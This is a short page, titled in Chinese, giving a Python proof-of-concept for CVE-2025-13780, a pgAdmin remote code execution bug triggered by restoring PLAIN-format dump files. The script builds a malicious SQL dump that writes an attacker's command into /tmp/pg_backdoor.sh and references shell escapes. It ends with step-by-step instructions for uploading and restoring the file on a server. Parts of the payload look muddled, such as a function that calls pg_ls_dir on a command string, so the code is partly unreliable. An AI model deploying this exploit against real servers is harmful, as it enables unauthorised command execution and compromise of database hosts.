CVE-2025-13780 pgAdmin PLAIN格式转储文件恢复远程代码执行漏洞

#!/usr/bin/env python3 # CVE-2025-13780 PoC - pgAdmin PLAIN dump RCE # Generate malicious PLAIN format backup file for pgAdmin restore # This PoC creates a backup file that executes arbitrary commands on restore import sys def generate_malicious_plain_dump(command): """ Generate a malicious PLAIN format PostgreSQL dump file that executes the specified command when restored via pgAdmin """ malicious_dump = f""" -- PostgreSQL database dump -- Generated for CVE-2025-13780 PoC -- pgAdmin version: <= 9.10 -- Vulnerability: RCE via PLAIN format restore BEGIN; -- Create trigger function for RCE CREATE OR REPLACE FUNCTION pg_execute_cmd(cmd TEXT) RETURNS void AS $$ BEGIN PERFORM pg_ls_dir(cmd); END; $$ LANGUAGE plpgsql; -- Malicious payload: execute arbitrary command -- The actual command execution depends on PostgreSQL version and pgAdmin configuration -- Example: Use COPY command to write files or \! for system commands -- Method 1: Using COPY to write shell script COPY (SELECT E'#!/bin/bash\n{command}') TO '/tmp/pg_backdoor.sh'; -- Method 2: PostgreSQL system command execution (if available) -- \! {command} -- Method 3: Use lo_export or other file operations -- This depends on the PostgreSQL user permissions COMMIT; -- Finalize SELECT 'CVE-2025-13780 RCE Payload Deployed' AS status; """ return malicious_dump def main(): if len(sys.argv) < 2: print("Usage: python3 cve-2025-13780-poc.py '<command>'") print("Example: python3 cve-2025-13780-poc.py 'id > /tmp/pwned'") sys.exit(1) command = sys.argv[1] dump_content = generate_malicious_plain_dump(command) output_file = "malicious_backup.sql" with open(output_file, 'w') as f: f.write(dump_content) print(f"[+] Generated malicious PLAIN dump: {output_file}") print(f"[+] Command to execute: {command}") print("\n[!] To exploit:") print(f" 1. Upload {output_file} to pgAdmin server") print(" 2. Use pgAdmin restore function on a database") print(" 3. Select the malicious_backup.sql file as PLAIN format") print(" 4. Execute restore - the command will be run on the server") if __name__ == "__main__": main()